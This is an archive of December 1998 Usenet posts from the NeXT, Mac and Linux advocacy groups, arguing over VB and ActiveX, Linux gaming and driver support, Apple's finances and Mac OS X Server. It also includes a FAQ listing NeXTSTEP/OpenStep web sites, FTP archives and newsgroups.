> As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
> ActiveX is brain dead, VB is for idiots and accountants.
And people who develop lightweight GUI applications.
> If you want to develop software, use real tools. C/C++ and/or Assembler.
> ActiveX is an intentional road block to portability.
Now this is rich. ActiveX is an intentional road block to portability,
unlike C++ or Assembler. Whatever.
> The RAD development
> idea is for idiotic acronym touting jerks.
Who may or may not be trying to rapidly develop applications.
> If you can write an
> application in VB in 1 day or less, it like any interpreted language is
> fine. When you want to write real applications, VB is a huge road block
> to success.
"Real applications"? What kind of application would this exclude?
Maybe your assumptions about the nature of "real applications" are
contributing to the glut of buggy, bloated one-size-fits-all projects
that so characterize our industry.
> I know, this discussion will cause a lot of hate responses. This will no
> doubt be the result of VB developers to justify their positions.
I've never used VB.
> Too
> bad, you will write, I expect that you will, and alas, in two years when
> your big VB project has taken a year more than it should have. I hope
> you remember.
Right, which would stand in contrast to your C++ projects which are
characteristically on time. Worth a good laugh.
MJP
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 6 Dec 1998 04:43:49 GMT
Organization: CTS Network Services (CTSNET), San Diego, CA
Message-ID: <912919429.773189@optional.cts.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com> <74blaq$eqt$1@nnrp03.primenet.com>
Cache-Post-Path: optional.cts.com!tminkoff@crash-i2.cts.com
Is Adobe's intransigence really threatening the fate of OS X Server?
Maybe Apple needs to pull out the big guns.
Apple has $2 billion in cash.
Adobe's market capitalization is under $3 billion.
Think about it.
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <18755912315622@digifix.com>
Date: 6 Dec 1998 04:46:10 GMT
Organization: Digital Fix Development
Message-ID: <15188912920426@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
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_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Component Model, RAD development, opensource
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net>
Message-ID: <366a1426.0@news.depaul.edu>
Date: 6 Dec 98 05:20:38 GMT
In comp.sys.next.advocacy Michael J. Peck <mjpeck@nstar.net> wrote:
> Mark Woodward wrote:
> >
> > As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
> > ActiveX is brain dead, VB is for idiots and accountants.
> And people who develop lightweight GUI applications.
With VB? Make that 'obese lightweight GUI applications'
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
<UQla2.62$L52.130@news.rdc1.ne.home.com> <3669FB38.101AF3C1@nstar.net>
Message-ID: <itoa2.75$L52.63@news.rdc1.ne.home.com>
Date: Sun, 06 Dec 1998 05:19:10 GMT
NNTP-Posting-Date: Sat, 05 Dec 1998 21:19:10 PDT
Organization: @Home Network
In <3669FB38.101AF3C1@nstar.net> "Michael J. Peck" wrote:-
> Humor me: is Windows NT a gaming platform? Why or why not?
I wouldn't consider nt 4 a viable gaming platform, although _some_ games will
play fine on nt.
> This isn't really relevant to what I was saying. At any rate, you've got
> it backward. Why would you expect developers to port their games to
> Linux when the platform doesn't support the features of their games?
The developers possess limited resources and will program for whichever
platform will return the most revenue. I don't expect game developers to
support anything but windows anytime soon. Developers like id software who
contract out client and server binaries for alternate platforms do so partly
because they realize that people are more likely to run a quake2 server on
linux than they are win9x, and partly because I think they dig cool os'es.
:)
> Really? Humor me for a moment, what kind of video card is in your box?
Currently an 8mb Matrox Millenium 2 agp, and previously a 4mb s3virge based
pci card. It has been my experience that both the millenium2 and the s3virge
are supported in virtually _every_ x86 operating system.
> Months can be the difference between entire generations of hardware.
I don't know, a good 2d graphics card is a good 2d graphics card. A sound
card that works is a sound card that works. Is today's ethernet card better
than the one I bought last year? I think you exagerate the lifespan of
hardware. Cpu's and memory grow old quickly, as do 3d graphics cards, but
the meat and potatoes don't change that quickly.
> I do believe Open Source advocates give their little experiment too much
> credit.
Hard to argue with the impact open source has had on the industry.
I use open source and commercial unices. In virtually every respect, the
open source unices have surpassed their commercial counterparts in the last
year or two. Solaris still has better smp than linux or FreeBSD, but for how
long? The problem with the closed source model is that you have tens of
people developing the os, whereas in the open source model you have hundreds,
perhaps even thousands. Open source unices will be flourishing long after
Sun, Apple and the rest have sucked the gas pipe. We have different outlooks
on this, and further discussion of it only serves as a contest of public ego
stroking. Time will tell which model is better.
From: "Rob Jarrett" <n0spam_robj@cgocable.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com>
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 00:31:29 -0500
Message-ID: <366a1773.0@news.cgocable.net>
Dude, I've been a professional Windows asm/C/C++ programmer for 7 years now.
I admit I have some attitude against RAD developers calling themselves
progammers.
But after your message, all I can say is lighten up a little!
ActiveX (which is a pretty much dead term in MS's eyes) is built on COM,
which certainly isn't brain-dead. It ain't exactly the most fun thing to
program (unless you think writing thread pools and marshalling to and from
streams is fun), but is pretty damn powerful nonetheless.
But I agree that VB sucks. ;-)
t's been
> heavily used by a number of studios. The author is currently one of my
> partners in crime on my current project... Wheee!
Seriously, that is pretty intimidating. I'd be like, "I'm not worthy..."
MJP
Message-ID: <366A18D3.B51F5856@nstar.net>
Date: Sat, 05 Dec 1998 23:40:35 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
<UQla2.62$L52.130@news.rdc1.ne.home.com> <3669FB38.101AF3C1@nstar.net> <itoa2.75$L52.63@news.rdc1.ne.home.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Michael Lankton wrote:
> I wouldn't consider nt 4 a viable gaming platform, although _some_ games will
> play fine on nt.
Why not? Windows NT 4.0 SP3 is capable of running DirectX 5.0-based
games. In many cases it's not necessary for the developer to do any work
to make this happen.
Anyway, why isn't NT 4 a viable gaming platform?
> The developers possess limited resources and will program for whichever
> platform will return the most revenue. I don't expect game developers to
> support anything but windows anytime soon.
And that will change when? And how? By magic?
> Developers like id software who
> contract out client and server binaries for alternate platforms do so partly
> because they realize that people are more likely to run a quake2 server on
> linux than they are win9x, and partly because I think they dig cool os'es.
> :)
Undoubtedly true for id.
Linux currently has a sizeable market with lots of users in the right
demographic for gaming. It also lacks games, which means that
competition is very scarce. It's ripe for gaming software, yet very
little exists. Do you think this has anything to do with the fact that
Linux broadly lacks the driver/API support for gaming? Or is it the
other way around?
> > Really? Humor me for a moment, what kind of video card is in your box?
>
> Currently an 8mb Matrox Millenium 2 agp, and previously a 4mb s3virge based
> pci card. It has been my experience that both the millenium2 and the s3virge
> are supported in virtually _every_ x86 operating system.
You say that only Windows 9x eclipses this kind of support. Did you mean
to include Windows NT in that, or were you saying that Linux support for
your Millenium 2 is *better* than NT support for same?
Bear with my interrogations, please; I'm trying to nail this down.
> > Months can be the difference between entire generations of hardware.
>
> I don't know, a good 2d graphics card is a good 2d graphics card.
Only recently.
> A sound
> card that works is a sound card that works.
No, not so. We've already discussed positional audio. Tack on 4-speaker
support, surround, stage broadening, "environmental sound", downloadable
patches, high-end MIDI output, full-duplex operation, hardware mixing,
and literally hundreds of other features.
Linux drivers effectively reduce a $200-$300 piece of exquisite
electronic equipment to the level of an ISA SoundBlaster 16. With a few
features missing.
> Is today's ethernet card better
> than the one I bought last year?
Dunno, what did you buy last year? I bought an Intel EtherExpress Pro
10/100 (B) last year. Great card, but I waited many moons for stable
drivers. Nowadays you get that built into a motherboard, with a new rev
of the chip that does better busmastering and doesn't have that nasty
cable disconnect bug.
> I think you exagerate the lifespan of
> hardware. Cpu's and memory grow old quickly, as do 3d graphics cards, but
> the meat and potatoes don't change that quickly.
It's a different issue there. Meat and potatoes quickly give way to
escargot and sushi. And the side dishes become more numerous. Look at
what you can connect to a new PC with USB these days. How much of it is
supported by Linux?
> > I do believe Open Source advocates give their little experiment too much
> > credit.
>
> Hard to argue with the impact open source has had on the industry.
Impact is one thing. Giving Open Source credit for better driver
development than commercial efforts is a crock.
> I use open source and commercial unices. In virtually every respect, the
> open source unices have surpassed their commercial counterparts in the last
> year or two.
This isn't about driver support or gaming.
> Solaris still has better smp than linux or FreeBSD, but for how
> long?
A long, long, long time. Think Cray.
> The problem with the closed source model is that you have tens of
> people developing the os, whereas in the open source model you have hundreds,
> perhaps even thousands.
Cathedral/bazaar.
> Open source unices will be flourishing long after
> Sun, Apple and the rest have sucked the gas pipe.
Probably!
> We have different outlooks
> on this, and further discussion of it only serves as a contest of public ego
> stroking. Time will tell which model is better.
Of course.
MJP
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 5 Dec 1998 21:23:07 -0800
Organization: Net Squared, Inc.
Message-ID: <74d5hf$tdf$1@your.mother.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749ppf$mc$1@nnrp03.primenet.com> <SCOTT.98Dec5030026@slave.doubleu.com> <74blaq$eqt$1@nnrp03.primenet.com> <912919429.773189@optional.cts.com>
Tony Minkoff wrote
>Is Adobe's intransigence really threatening the fate of OS X Server?
>Maybe Apple needs to pull out the big guns.
>
>Apple has $2 billion in cash.
>
>Adobe's market capitalization is under $3 billion.
Its kind of funny that Apple has $2 billion in cash but only has a
market value of $4.5 billion. It has a price/earnings ratio of 16,
compared to 31 for Adobe, 69 for Dell, and 200 for Pixar!
Apple finally has a good consumer model which is selling well, an OS
(8.5) which is well received, and solid products (MacOS X and Yosemite)
in the pipeline.
Smells to me like Apple could be a potential take over target.
Todd
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 6 Dec 1998 05:22:06 GMT
Organization: Digital Fix Development
Message-ID: <74d49u$e5m$1@news.digifix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <Macghod-0412981633430001@pool021-max8.ds28-ca-us.dialup.earthlink.net> <74bugf$o2u$1@nnrp1.dejanews.com>
In-Reply-To: <74bugf$o2u$1@nnrp1.dejanews.com>
On 12/05/98, "Charles Swiger" wrote:
>In article <Macghod-0412981633430001@pool021-max8.ds28-ca-
>us.dialup.earthlink.net>,
> Macghod@concentric.net (Steve) wrote:
>> In article <746j19$996$1@nnrp1.dejanews.com>, "Charles Swiger"
>> <chuck@codefab.com> wrote:
>[ ... ]
>>> Yes. The delay has largely been due to licensing/royalty issues
and figuring
>>> out when and how to market the product, and not because Apple
didn't have the
>>> technology to the point where they could ship it.
>>
>> Really? I know someone who got a fairly recent beta of macos x
server
>> (NOT rhapsody) and it still doesnt even have ppp support yet!
Most Server based OSs communicate via PPP.. NOT!
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 6 Dec 1998 05:27:20 GMT
Organization: Digital Fix Development
Message-ID: <74d4jo$e5o$1@news.digifix.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com> <74bt1p$mq0$1@nnrp1.dejanews.com>
In-Reply-To: <74bt1p$mq0$1@nnrp1.dejanews.com>
On 12/05/98, malcolm@plsys.co.uk wrote:
>In article <74ajf6$i24$1@camel21.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
>
>I missed this out of my other reply:
>
>> The point is that there aren't any OpenStep
>> apps that would make a user think twice about leaving his or her
current
>> platform. When I said "where are they" I was talking about
YellowBox
>> apps that are truly unique, as in only possible on YB (think
PageMaker
>> 1.0 on a Mac).
>>
>
>You're not being consistent. PageMaker isn't "truly unique" as
you've
>defined it. Page layout apps are available for all platforms.
>
He's changing the equation.
While PageMaker 1.0 on the Mac might have been
groundbreaking, so are the apps that have been listed as originating
on NEXTSTEP.
And like the NEXT originating apps that have gained prominence
on other platforms, so has PageMaker, and DTP in general. None of
which is owed to the Macintosh according to Mark's line of reasoning.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749oem$11u$1@nnrp1.dejanews.com> <36686F42.EE553D2A@ericsson.com> <F3Gusw.4vq@T-FCN.Net> <36688305.30BFE5F1@ericsson.com> <366A057D.9C54A305@ncal.verio.com>
Message-ID: <366a1bb3.0@news.depaul.edu>
Date: 6 Dec 98 05:52:51 GMT
In comp.sys.next.advocacy Mike Paquette <mpaque@ncal.verio.com> wrote:
> 3DKit was written by someone at NeXT, who just received a Technical
> Oscar last year for an older 3D product from Alias Research that's been
> heavily used by a number of studios. The author is currently one of my
> partners in crime on my current project... Wheee!
Heeheeheeheehee heehee hee
<cue maniacally gleeful Renfieldian giggling>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 6 Dec 1998 05:34:30 GMT
Organization: Digital Fix Development
Message-ID: <74d516$ed6$1@news.digifix.com>
References: <749tou$5le$1@nnrp1.dejanews.com> <B28EF882-2E9E8@206.165.43.151>
In-Reply-To: <B28EF882-2E9E8@206.165.43.151>
On 12/05/98, "Lawson English" wrote:
<snip>
>A "prominent WebObjects developer" recently gave an online editorial
>complaining about the lack of GX transfer modes, so I don't think
that
>they're making it into Carbon/YB graphics.
>
If you're referring to the Menno article on MacCentral, I'd
question its accuracy. There were some technical errors in that
article that would make me question how much the developer understood.
Also.. its not like a WebObjects developer is USING a graphics
library.
It would be like a Hypercard programmer whose never used YB
criti... oops.. never mind.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 6 Dec 1998 05:31:45 GMT
Organization: Digital Fix Development
Message-ID: <74d4s1$ed5$1@news.digifix.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com> <74bvsu$p40$1@nnrp1.dejanews.com> <74c5tu$80d$1@camel19.mindspring.com>
In-Reply-To: <74c5tu$80d$1@camel19.mindspring.com>
On 12/05/98, "Mark Eaton" wrote:
<snip>
>If you follow the references back you'll see that I was responding to
an
>article that claimed
>
> "*This* is the kind of framework that brings
> "whole new classes of applications" to OSX".
>
>If that were true it wouldn't have been feasible at all to port them
to
>other platforms without YB.
This is a faulty line of thinking.
Virtually any app can be created using any toolbox.. its a
question of time. How much time you have to invest writing the base
capabilities, how much of a hassle the tools you're working with
require you to go through.
Ultimately, if you can spend more time working on the
implementation of the new features or capabilities that are task
specific, not general to most apps, then you can create a ground
breaking app.
With YB, you're given a major head start. More so with Mac OS
X Server (love the Document architecture for example) and even MORE so
when Mac OS X turns out.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 6 Dec 1998 05:37:56 GMT
Organization: Digital Fix Development
Message-ID: <74d57k$ed7$1@news.digifix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net> <SCOTT.98Dec4145454@slave.doubleu.com> <1djjmg3.9nvrlx1jr28eaN@port212.bonn.ndh.net> <74c6in$qa4@news1.panix.com>
In-Reply-To: <74c6in$qa4@news1.panix.com>
On 12/05/98, Sal Denaro wrote:
>On Sat, 5 Dec 1998 09:51:13 +0100, Michael Schuerig
<schuerig@acm.org> wrote:
>>The current entry level of the developer program (well, the lowest
>>interesting level) is $500. I take it, that members of that program
will
>>get access to Mac OS X Server. So, it looks to me that $500 has to
be
>>the upper limit for retail pricing.
>
>IIRC, Apple has not promised that they would ship the final version
of
>Mac OS X Server to members of the developers program. They only price
limits
>Apple has ever stated was "more than MacOS, less than OpenStep"
>
Well, they may not have made that promise, but the history of
distributing Mac OS products to members of that program is pretty
clearly set.
I'd like to see the top level program give you all Apple
software products. With limited usage licenses..
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Message-ID: <366A1D73.99F2DF1D@nstar.net>
Date: Sun, 06 Dec 1998 00:00:19 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Scott Anguish wrote:
> Most Server based OSs communicate via PPP.. NOT!
Most Server based OSs use a GUI development library like YB...NOT!
MJP
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
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Date: Sun, 06 Dec 1998 06:13:17 GMT
NNTP-Posting-Date: Sat, 05 Dec 1998 22:13:17 PDT
Organization: @Home Network
In <366A18D3.B51F5856@nstar.net> "Michael J. Peck" wrote:-
> > I wouldn't consider nt 4 a viable gaming platform, although _some_ games
will
> > play fine on nt.
>
> Why not? Windows NT 4.0 SP3 is capable of running DirectX 5.0-based
> games. In many cases it's not necessary for the developer to do any work
> to make this happen.
>
> Anyway, why isn't NT 4 a viable gaming platform?
Too many of the games I have been playing recently require directx 6
(halflife for one). And correct me if I am wrong, but I am pretty sure that
sp3 only adds directx 3 support to nt4. Perhaps the directx 5 beta has been
added to sp4, if sp4 has finally been released. I do not use nt so my
information comes from a friend of mine who is an nt user. He has always
been able to play games that used Glide or Opengl, but directx games have
always been a problem for him. I am sure this will be a dead issue when
nt5/windows2000 is released. Personally, I dislike windows, so I boot win95
when I feel like playing a game, then return to a stable and efficient os
when I am done.
> > The developers possess limited resources and will program for whichever
> > platform will return the most revenue. I don't expect game developers to
> > support anything but windows anytime soon.
>
> And that will change when? And how? By magic?
I don't expect it to. Frankly I'm amazed anyone does mac ports at all.
Perhaps linux will continue to gain marketshare and more developers will make
linux bins available. Like you said, the linux user demographic is primarily
teen to 30-something males, most of whom probably play computer games. I
think the same holds true for developers. People who went to school to learn
to code usually develop a fondness for unix, and more of these people can now
run unix (or a reasonable facsimile thereof) on their home boxes now that
their are free unix-like os'es out there, not to mention student pricing from
commercial unix vendors. It stands to reason, that some coders will do ports
just because they want to see their game on their favorite os.
> competition is very scarce. It's ripe for gaming software, yet very
> little exists. Do you think this has anything to do with the fact that
> Linux broadly lacks the driver/API support for gaming? Or is it the
> other way around?
I get in this argument on irc all the time. Glide is a bad deal because
_only_ 3dfx hardware is supported. Opengl as a game platform will certainly
not be championed by microsoft when they have a competing api in direct3d.
That, and not every video card has an opengl icd, whereas every card does
have direct3d support. Is there no way directx (or a subset of) could be
ported to other platforms? I would say no, but then there's wine, which I
wouldn't think possible either. I don't know enough to comment on this
issue, but I like direct3d better because everyone has a card that supports
it, so no one is excluded, and if there was only one api, then all the
vendors could concentrate on making their card at doing direct3d. Everyone
wins if there is one strong api, but I don't know if directx could be ported
or not, so it's a pointless discussion. For now there is glide on linux,
which means you can play glquake and (gl)quake2, but that's about it.
> You say that only Windows 9x eclipses this kind of support. Did you mean
> to include Windows NT in that, or were you saying that Linux support for
> your Millenium 2 is *better* than NT support for same?
>
> Bear with my interrogations, please; I'm trying to nail this down.
I would imagine that linux and nt have a similar level of hardware support.
I'm guessing that there is hardware supported by linux that isn't supported
in nt and vice versa, but overall I imagine that nt has better support. I
have absolutely no numbers to back this assertion up, so it is just
conjecture and I may be wrong. Linux supports an amazing number of devices.
I use Openstep and Solaris, and in comparison linux hardware support is quite
amazing.
From: treed@freeside.ultraviolet.org (Tracy R Reed)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com>
Organization: Ultraviolet
Message-ID: <slrn76ka3m.fbg.treed@freeside.ultraviolet.org>
Date: Sun, 06 Dec 1998 06:47:19 GMT
NNTP-Posting-Date: Sat, 05 Dec 1998 22:47:19 PDT
Matthew Cromer <matthew_cromer@iname.com> wrote:
>development tools, it may take a while until someone decides to kick
>Microsoft's butt in this field with an opensource project like has
>happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
I think the fact that we are kicking MS's butt in so many areas demonstrates
that one does not need a Visual style environment to produce good code.
>But I hope it doesn't take too long. Remember there are at least 3.5
